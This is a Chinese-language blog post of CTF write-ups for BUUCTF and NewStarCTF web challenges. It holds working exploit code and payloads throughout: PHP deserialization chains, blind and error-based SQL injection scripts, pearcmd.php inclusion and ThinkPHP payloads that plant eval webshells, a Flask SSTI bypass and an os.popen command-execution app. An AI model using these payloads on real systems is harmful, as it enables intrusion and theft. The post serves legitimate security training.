buu做题记录(2)

:::warning no-icon

做题记录如下

buu1 -> buu2

:::

书接上回

[NewStarCTF 2023 公开赛道]POP Gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?php
highlight_file(__FILE__);

class Begin{
public $name;

public function __destruct()
{
if(preg_match("/[a-zA-Z0-9]/",$this->name)){
echo "Hello";
}else{
echo "Welcome to NewStarCTF 2023!";
}
}
}

class Then{
private $func;

public function __toString()
{
($this->func)();
return "Good Job!";
}

}

class Handle{
protected $obj;

public function __call($func, $vars)
{
$this->obj->end();
}

}

class Super{
protected $obj;
public function __invoke()
{
$this->obj->getStr();
}

public function end()
{
die("==GAME OVER==");
}
}

class CTF{
public $handle;

public function end()
{
unset($this->handle->log);
}

}

class WhiteGod{
public $func;
public $var;

public function __unset($var)
{
($this->func)($this->var);
}
}

@unserialize($_POST['pop']);

pop链很容易构造:

Begin::destruct->Then::toString->Super::invoke->Handle::call->CTF::end->WhiteGod::unset

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
class Begin{
public $name;
}
class Then{
private $func;
public function __construct($a){
$this->func = $a;
}
}

class Handle{
protected $obj;
public function __construct($a){
$this->obj = $a;
}
}

class Super{
protected $obj;
public function __construct($a){
$this->obj = $a;
}
}

class CTF{
public $handle;
public function __construct($a){
$this->handle = $a;
}
}

class WhiteGod{
public $func = 'readfile';
public $var = '/flag';
}
$a = new Begin();
$a->name = new Then(new Super(new Handle(new CTF(new WhiteGod()))));
echo(serialize($a));
echo(urlencode(serialize($a)));
?>

这里暂时不清楚system为什么读取不到flag,也不能执行ls /

[NewStarCTF 2023 公开赛道]midsql

时间盲注,因为order by和布尔注入都不行。

过滤了空格和等号,可以分别用/**/和like绕过,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import time

url = 'http://5686ca9d-7929-475e-93b4-f47d88c70ecc.node5.buuoj.cn:81/?id='
flag = ''
for i in range(1,1000):

# payload = '1/**/and/**/if((ascii(substr(database(),{},1))>{}),sleep(5),1);#' # ctf
# payload = '1/**/and/**/if((ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/\'ctf\'),{},1))>{}),sleep(4),1);#' #items
# payload = '1/**/and/**/if((ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/\'items\'),{},1))>{}),sleep(4),1);#' #id,name,price
payload = '1/**/and/**/if((ascii(substr((select/**/group_concat(id,name,price)/**/from/**/items),{},1))>{}),sleep(4),1);#'
left = 32
right = 127
mid = (left + right) >> 1
while(left < right):
str1 = url + payload.format(i,mid)
time_start = time.time()
res = requests.get(str1)
print(str1)
if time.time() - time_start > 2:
left = mid + 1
else:
right = mid
mid = (left + right) >> 1
flag += chr(mid)
print(flag)

[NewStarCTF 2023 公开赛道]OtenkiGirl

这题应该是原型链污染,根据提示,我们查看route目录下的info.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

const Router = require("koa-router");
const router = new Router();
const SQL = require("./sql");
const sql = new SQL("wishes");
const CONFIG = require("../config")
const DEFAULT_CONFIG = require("../config.default")

async function getInfo(timestamp) {
timestamp = typeof timestamp === "number" ? timestamp : Date.now();
// Remove test data from before the movie was released
let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();
timestamp = Math.max(timestamp, minTimestamp);
const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });
return data;
}

router.post("/info/:ts?", async (ctx) => {
if (ctx.header["content-type"] !== "application/x-www-form-urlencoded")
return ctx.body = {
status: "error",
msg: "Content-Type must be application/x-www-form-urlencoded"
}
if (typeof ctx.params.ts === "undefined") ctx.params.ts = 0
const timestamp = /^[0-9]+$/.test(ctx.params.ts || "") ? Number(ctx.params.ts) : ctx.params.ts;
if (typeof timestamp !== "number")
return ctx.body = {
status: "error",
msg: "Invalid parameter ts"
}

try {
const data = await getInfo(timestamp).catch(e => { throw e });
ctx.body = {
status: "success",
data: data
}
} catch (e) {
console.error(e);
return ctx.body = {
status: "error",
msg: "Internal Server Error"
}
}
})

module.exports = router;

有一个对路径名的过滤,不过影响不大,传数字就行了

查看submit.js

1
2
3
4
5
6
7
8
9
10
11
12

const merge = (dst, src) => {
if (typeof dst !== "object" || typeof src !== "object") return dst;
for (let key in src) {
if (key in dst && key in src) {
dst[key] = merge(dst[key], src[key]);
} else {
dst[key] = src[key];
}
}
return dst;
}

发现有merge函数,典型的原型链污染

我们回到info.js,注意到一个重要部分

1
2
3
4
5
6
7
8
9

async function getInfo(timestamp) {
timestamp = typeof timestamp === "number" ? timestamp : Date.now();
// Remove test data from before the movie was released
let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();
timestamp = Math.max(timestamp, minTimestamp);
const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });
return data;
}

根据注释,猜测flag在测试的数据中

然后这里获取sql数据的条件是不早于当前时间,因此想要获取数据,就需要把时间调早一点(因为返回的数据都是晚于最小公开时间的)

先找找最小公开时间在哪

追踪一下与config相关的两个文件

1
2
3
4
5
6
7
8

module.exports = {
app_name: "OtenkiGirl",
default_lang: "ja",
min_public_time: "2019-07-09",
server_port: 9960,
webpack_dev_port: 9970
}

那我们的时间只要调到2019.07.09之前就行

抓包构造一下

刷新一下界面,发现有远古时期的标签,那就去看一看

直接hackbar随便post一个数据然后访问就行(之前提到有一个路径名过滤,只要传数字就行了)

[NewStarCTF 2023 公开赛道]Include 🍐

根据题目描述是远程文件包含漏洞

先找找环境变量有没有flag

提示我们去查看register_argc_argv

发现相关功能处于On状态,然后再根据标题,猜测是要利用pearcmd.php进行文件包含

register_argc_argv的简单作用

它可以通过$_SERVER['argv']获取命令行参数,所以你会看到它现在的数据是这样的

在web环境下,如果想要获取多个参数,则需要用+把不同变量分隔开来(这里我懒得复现了)

pearcmd.php的简单讲述

pear文件中用到了pearcmd.php文件,可以先看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

public static function readPHPArgv()
{
global $argv;
if (!is_array($argv)) {
if (!@is_array($_SERVER['argv'])) {
if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
$msg = "Could not read cmd args (register_argc_argv=Off?)";
return PEAR::raiseError("Console_Getopt: " . $msg);
}
return $GLOBALS['HTTP_SERVER_VARS']['argv'];
}
return $_SERVER['argv'];
}
return $argv;
}

$_SERVER['argv']可控,毕竟我们是要传参数上去的

:::info

pear一般默认安装在/usr/local/lib/php,不同系统的安装目录可能不同

:::

几个佬对它的详细说明我放在这了:dalao1dalao2

上手!

pear命令中有一个config_create,根据格式pear config-create [options] <root path> <filename>可以这样构造:

?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1]);?>+/var/www/html/a.php

:::danger no-icon

至于为什么有个/&和&/,我想应该是格式要求的吧

至于为什么能直接用config-create,我想应该是之前说到的register_argc_argv导致的吧,毕竟是能直接把传入的数据作为参数传递

:::

这样下来构造后,大致意思就是:通过pear命令config-create,来包含/usr/local/lib/php/pearcmd.cmd文件,木马写入到a.php

(有空再回头来说说为什么这么写)

然后访问a.php传参

:::danger

这里这里一定要用抓包放包的方式去传,而且必须要把被编码的字符给还原回来,不然php文件根本执行不了

:::

[NewStarCTF 2023 公开赛道]InjectMe

点击图片发现可以跳转

查看110.jpg

有个对.的过滤,由于没有循环检测,因此可以考虑双写绕过

进入download路由,由于路由是由python写的,猜测源码在app.py里面

根据给出的dockerfile,发现源码复制到/app目录下了

可以构造payload:url/download?file=....//....//....//app/app.py

得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import os
import re

from flask import Flask, render_template, request, abort, send_file, session, render_template_string
from config import secret_key

app = Flask(__name__)
app.secret_key = secret_key


@app.route('/')
def hello_world(): # put application's code here
return render_template('index.html')


@app.route("/cancanneed", methods=["GET"])
def cancanneed():
all_filename = os.listdir('./static/img/')
filename = request.args.get('file', '')
if filename:
return render_template('img.html', filename=filename, all_filename=all_filename)
else:
return f"{str(os.listdir('./static/img/'))} <br> <a href=\"/cancanneed?file=1.jpg\">/cancanneed?file=1.jpg</a>"


@app.route("/download", methods=["GET"])
def download():
filename = request.args.get('file', '')
if filename:
filename = filename.replace('../', '')
filename = os.path.join('static/img/', filename)
print(filename)
if (os.path.exists(filename)) and ("start" not in filename):
return send_file(filename)
else:
abort(500)
else:
abort(404)


@app.route('/backdoor', methods=["GET"])
def backdoor():
try:
print(session.get("user"))
if session.get("user") is None:
session['user'] = "guest"
name = session.get("user")
if re.findall(
r'__|{{|class|base|init|mro|subclasses|builtins|globals|flag|os|system|popen|eval|:|\+|request|cat|tac|base64|nl|hex|\\u|\\x|\.',
name):
abort(500)
else:
return render_template_string(
'竟然给<h1>%s</h1>你找到了我的后门,你一定是网络安全大赛冠军吧!😝 <br> 那么 现在轮到你了!<br> 最后祝您玩得愉快!😁' % name)
except Exception:
abort(500)


@app.errorhandler(404)
def page_not_find(e):
return render_template('404.html'), 404


@app.errorhandler(500)
def internal_server_error(e):
return render_template('500.html'), 500


if __name__ == '__main__':
app.run('0.0.0.0', port=8080)

核心在/backdoor路由,应该是session传入脚本进行命令执行

这个简单,找到secret_key然后把命令加密就行

开头看到secret_key放入了config文件中,下载一下config:download?file=....//....//....//app/config.py

得到secret_key = "y0u_n3ver_k0nw_s3cret_key_1s_newst4r"

由于许多命令被过滤掉了,可以考虑八进制编码绕过

最初的攻击脚本可以这样写:{{x.__init__.__globals__.__getitem__.('__builtins__').__getitem__.('eval')('__import__("os").popen("ls /").read()')}}

攻击脚本分析如下:(gpt写的

  1. x.__init__.__globals__.__getitem__:这部分尝试访问 x 对象的 __init__ 方法的全局作用域。__init__ 是 Python 类的构造函数,而 __globals__ 是一个字典,存储了函数的全局变量。
  2. __getitem__('__builtins__'):通过 __getitem__ 方法获取 __builtins__ 模块,这是一个包含了 Python 所有内置函数和变量的模块。
  3. __getitem__('eval'):进一步通过 __getitem__ 获取内置的 eval 函数。eval 函数用于执行一个字符串表达的 Python 表达式,并返回表达式的值。
  4. eval('__import__("os").popen("ls /").read()'):通过 eval 执行字符串中的代码。这段代码首先通过 __import__("os") 导入 os 模块,然后使用 os.popen("ls /") 执行 Unix/Linux 命令 ls /,该命令列出根目录下的所有文件和文件夹。最后,使用 .read() 方法读取命令的输出结果。

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import re
import requests
import subprocess
# 把这个下载了,需要使用里面的flask-session-cookie-manager3.py
# # https://github.com/noraj/flask-session-cookie-manager

def string_to_octal_ascii(s):
octal_ascii = ""
for char in s:
char_code = ord(char)
octal_ascii += "\\\\" + format(char_code, '03o')
# octal_ascii += "\\\\" + format(char_code, 'o')
return octal_ascii
secret_key = "y0u_n3ver_k0nw_s3cret_key_1s_newst4r"
# payload = "{%print(7*7)%}"
# payload = "{%print(\"\"\\\\u005f\\\\u005f\"\")%}"
# payload = "{%print(\"\"\\\\x5f\\\\x5f\"\")%}"

eval_shell = "\"\""+string_to_octal_ascii("__import__(\"os\").popen(\"cat /*\").read()")+"\"\""
print(eval_shell)
# docker部署&windows运行payload
# {{x.__init__.__globals__.__builtins__.eval('__import__("os").popen("dir").read()')}}
payload = "{{%print(xxx|attr(\"\"\\\\137\\\\137\\\\151\\\\156\\\\151\\\\164\\\\137\\\\137\"\")|attr(\"\"\\\\137\\\\137\\\\147\\\\154\\\\157\\\\142\\\\141\\\\154\\\\163\\\\137\\\\137\"\")|attr(\"\"\\\\137\\\\137\\\\147\\\\145\\\\164\\\\151\\\\164\\\\145\\\\155\\\\137\\\\137\"\")(\"\"\\\\137\\\\137\\\\142\\\\165\\\\151\\\\154\\\\164\\\\151\\\\156\\\\163\\\\137\\\\137\"\")|attr(\"\"\\\\137\\\\137\\\\147\\\\145\\\\164\\\\151\\\\164\\\\145\\\\155\\\\137\\\\137\"\")(\"\"\\\\145\\\\166\\\\141\\\\154\"\")({0}))%}}".format(eval_shell)
print(payload)
command = "python flask_session_cookie_manager3.py encode -s \"{0}\" -t \"{{'user':'{1}'}}\"".format(secret_key,payload)
print(command)

session_data = subprocess.check_output(command, shell=True)
print(session_data)
# linux和windows换行不一样,linux是去掉最后一个,windows是最后两个。
session_data = session_data[:-2].decode('utf-8')
# session_data = session_data[:-1].decode('utf-8')
print(session_data)

url = "http://127.0.0.1:8080/backdoor"
cookies = {"session": session_data}
res = requests.get(url=url, cookies=cookies)
# print(res.text)
pattern = r'<h1>(.*)</h1>'
result_content = re.search(pattern, res.text, re.S)
# print(result_content)
if result_content:
result = result_content.group(1)
print(result)
else:
print("something wrong!")

这里复现失败了,不道为什么

[NewStarCTF 2023 公开赛道]Final

传参使其报错,获取版本号,根据版本号找到payload:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

然后变量s传数据captcha,发包改为POST方式(system看起来是被ban了,所以看看phpinfo)

能够执行,那就找一下DOCUMENT_ROOT,它是当前运行的脚本所在的文档根目录的绝对路径,把马写在里面

payload:_method=__construct&filter[]=exec&method=get&server[REQUEST_METHOD]=echo '<?php eval($_POST['cmd']);?>' > /var/www/public/shell.php

这里没有读取到flag,猜测是权限的问题

用蚁剑连接进入终端,执行以下命令即可】

[极客大挑战 2019]HardSQL

这题是报错注入,过滤了空格和==可以考虑用like绕过,空格可以用^绕过

当然了,还禁用了其他符号,比如说*

payload如下:

?username=1&password=1'^extractvalue(1%2Cconcat(0x7e%2C(select(database()))))%23

?username=1&password=1'^extractvalue(1%2Cconcat(0x7e%2C(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23

?username=1&password=1'^extractvalue(1%2Cconcat(0x7e%2C(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23

?username=1&password=1'^extractvalue(1%2Cconcat(0x7e%2C(select(password)from(geek.H4rDsq1))))%23

由于flag只显示一部分,说明原文本的长度超过限定长度,可以考虑用left或right函数

?username=1&password=1'^extractvalue(1%2Cconcat(0x7e%2C(select(right(password%2C20))from(geek.H4rDsq1))))%23

[NewStarCTF 2023 公开赛道]Unserialize Again

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
 <?php
highlight_file(__FILE__);
error_reporting(0);
class story{
private $user='admin';
public $pass;
public $eating;
public $God='false';
public function __wakeup(){
$this->user='human';
if(1==1){
die();
}
if(1!=1){
echo $fffflag;
}
}
public function __construct(){
$this->user='AshenOne';
$this->eating='fire';
die();
}
public function __tostring(){
return $this->user.$this->pass;
}
public function __invoke(){
if($this->user=='admin'&&$this->pass=='admin'){
echo $nothing;
}
}
public function __destruct(){
if($this->God=='true'&&$this->user=='admin'){
system($this->eating);
}
else{
die('Get Out!');
}
}
}
if(isset($_GET['pear'])&&isset($_GET['apple'])){
// $Eden=new story();
$pear=$_GET['pear'];
$Adam=$_GET['apple'];
$file=file_get_contents('php://input');
file_put_contents($pear,urldecode($file));
file_exists($Adam);
}
else{
echo '多吃雪梨';
}

这题主要考phar伪协议,由于file_exists()中的变量可控,我们可以用其配合phar伪协议读取写入的文件来getshell。

phar文件生成

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class story{
public $eating = 'cat /f*';
public $God='true';
}
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("<php __HALT_COMPILER(); ?>");
$a = new story();
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

这里我们需要运行的是__destruct()system,因此把eating和God改了就好

传马

由于在文件生成过程中内容被修改过(为了绕过__wakeup(),因此需要更换一个签名,这里用到了sha256)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from hashlib import sha256
import requests
import urllib.parse

with open('1.phar','rb') as file1:
f = file1.read()

s = f[:-40]
s = s.replace(b'O:5:"story":2',b'O:5:"story":3')
h = f[-8:]
newfile = s + sha256(s).digest() + h
with open('new.phar','wb') as file2:
file2.write(newfile)

url = 'http://bd7d412e-1f2f-4257-b51b-8602813e8098.node5.buuoj.cn:81/pairing.php'
param = {
'pear': 'new.phar',
'apple': 'phar://new.phar'
}

with open('new.phar','rb') as file3:
f = file3.read()
fi = urllib.parse.quote(f)
print(fi)
res = requests.post(url=url,params=param,data=fi)
print(res.text)

[NewStarCTF 2023 公开赛道]逃

这题就是反序列化中的字符逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file(__FILE__);
function waf($str){
return str_replace("bad","good",$str);
}

class GetFlag {
public $key;
public $cmd = "whoami";
public function __construct($key)
{
$this->key = $key;
}
public function __destruct()
{
system($this->cmd);
}
}

unserialize(waf(serialize(new GetFlag($_GET['key']))));

根据代码,当有一个bad转换为good时,原字符串就会多一个字符

字符串逃逸原理看看这里

了解完原理后,我们脚本可以这样写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class GetFlag {
public $key;
public $cmd = "ls /";
public function __construct($key)
{
$this->key = $key;
}
public function __destruct()
{
system($this->cmd);
}
}
$a = new GetFlag('badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad');//";s:3:"cmd";s:4:"ls /";}中共有24个字符,所以要24个bad
echo(serialize($a));
?>

payload为badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls /";}

把命令改了拿flag即可

[NewStarCTF 2023 公开赛道]More Fast

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
 <?php
highlight_file(__FILE__);

class Start{
public $errMsg;
public function __destruct() {
die($this->errMsg);
}
}

class Pwn{
public $obj;
public function __invoke(){
$this->obj->evil();
}
public function evil() {
phpinfo();
}
}

class Reverse{
public $func;
public function __get($var) {
($this->func)();
}
}

class Web{
public $func;
public $var;
public function evil() {
if(!preg_match("/flag/i",$this->var)){
($this->func)($this->var);
}else{
echo "Not Flag";
}
}
}

class Crypto{
public $obj;
public function __toString() {
$wel = $this->obj->good;
return "NewStar";
}
}

class Misc{
public function evil() {
echo "good job but nothing";
}
}

$a = @unserialize($_POST['fast']);
throw new Exception("Nope");

分析一下,大致的pop链如下:

Start::__destruct() -> Crypto::__toString() -> Reverse::__get() -> Pwn::__invoke() -> Web::__evil

不过有个问题,die会使整个函数停止运转,说明我们还需要注意绕过一下

这里的throw涉及到垃圾回收机制(GC回收)

在php中,当对象被销毁时会自动调用__destruct(),但如果程序报错或者抛出异常,就不会触发该魔术方法。

当一个类创建之后它会自己消失,而 __destruct()的触发条件就是一个类被销毁时触发,throw回收了自动销毁的类,导致__destruct()检测不到有东西销毁,从而无法触发__destruct()

根据这个特性,我们可以提前触发GC回收来抛出异常,从而调用__destruct()

这里可以使数组对象为NULL,这样就能提前触发throw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
class Start{
public $errMsg;
public function __destruct() {
die($this->errMsg);
}
}

class Pwn{
public $obj;
public function __invoke(){
$this->obj->evil();
}
public function evil() {
phpinfo();
}
}

class Reverse{
public $func;
public function __get($var) {
($this->func)();
}
}

class Web{
public $func='system';
public $var='cat /f*';
public function evil() {
if(!preg_match("/flag/i",$this->var)){
($this->func)($this->var);
}else{
echo "Not Flag";
}
}
}

class Crypto{
public $obj;
public function __toString() {
$wel = $this->obj->good;
return "NewStar";
}
}

$start = new Start();
$pwn = new Pwn();
$crypto = new Crypto();
$web = new Web();
$reverse = new Reverse();
$start->errMsg = $crypto;
$crypto->obj = $reverse;
$reverse->func = $pwn;
$pwn->obj = $web;
$a = array($start,0);
echo(serialize($a));
?>

得到a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}i:1;i:0;}后把i:1改为i:0,这样就代表数组对象为空,会触发throw,其他就正常执行了

[NewStarCTF 2023 公开赛道]flask disk

admin manage一栏需要我们输入pin码,说明flask开启了debug模式,进而说明app.py在被修改后会立刻加载,我们重新编写一个app.py上传rce即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask,request
import os
app = Flask(__name__)
@app.route('/')
def index():
try:
cmd = request.args.get('cmd')
data = os.popen(cmd).read()
return data
except:
pass
return "1"

if __name__=='__main__':
app.run(host='0.0.0.0',port=5000,debug=True)

[DASCTF 2023 & 0X401七月暑期挑战赛]ez_cms

根据cms的版本和类型,很容易找到对应靶场

看了相关介绍,发现cms存在越权漏洞以及sql注入(其实弱密码也有)

访问/admin登录

之前在登陆的时候试了试文件包含,但是没有反应,推测是有过滤或者修改了文件权限什么的?

尝试下载index.php

得到:

1
2
3
4
5
6
7
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>

果然存在文件包含,但是猜测flag并不会写在php文件里,有可能在环境变量或者根目录里什么的,先不大费周章地搞这个

看看能不能下载环境变量的内容

发现并不行,感觉像是有权限或者改名称或者换目录?

在之前的后台系统中,我们发现了一个上传文件的点,看看能不能传:horse:

似乎是不可行的(这里我是抓包改名称后才传的:horse:,系统对文件后缀名有检查)

那就只有文件包含了,这里用pear(怎么最近做题只要有文件包含就有pear)

之前说过,pearcmd.php默认安装在/usr/local/lib/php

payload就可以很好地进行构造了:../../../../usr/share/php/pearcmd&/<?=eval($_POST['cmd']);?>+/tmp/shell.php(注意代码中include是自动加了后缀php的)

然后就可以rce了

[DASCTF 2023 & 0X401七月暑期挑战赛]EzFlask

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import uuid

from flask import Flask, request, session
from secret import black_list
import json

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def check(data):
for i in black_list:
if i in data:
return False
return True

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class user():
def __init__(self):
self.username = ""
self.password = ""
pass
def check(self, data):
if self.username == data['username'] and self.password == data['password']:
return True
return False

Users = []

@app.route('/register',methods=['POST'])
def register():
if request.data:
try:
if not check(request.data):
return "Register Failed"
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Register Failed"
User = user()
merge(data, User)
Users.append(User)
except Exception:
return "Register Failed"
return "Register Success"
else:
return "Register Failed"

@app.route('/login',methods=['POST'])
def login():
if request.data:
try:
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Login Failed"
for user in Users:
if user.check(data):
session["username"] = data["username"]
return "Login Success"
except Exception:
return "Login Failed"
return "Login Failed"

@app.route('/',methods=['GET'])
def index():
return open(__file__, "r").read()

if __name__ == "__main__":
app.run(host="0.0.0.0", port=5010)

很明显的一个原型链污染

在这里,open(__file__, "r").read()是直接返回服务器代码的,我们可以修改__file__来造成任意文件的读取

这里读取环境变量来构造payload:

1
2
3
4
5
6
7
8
9
10
11
{
"username":"user",
"password":"pass",
"__class__":{
"check":{
"__globals__":{
"__file__":"proc/1/environ"
}
}
}
}
作者

Ins0mn1a

发布于

2024-03-29

更新于

2024-07-31

许可协议

# 相关文章
  1.buu做题记录(1)

:D 一言句子获取中...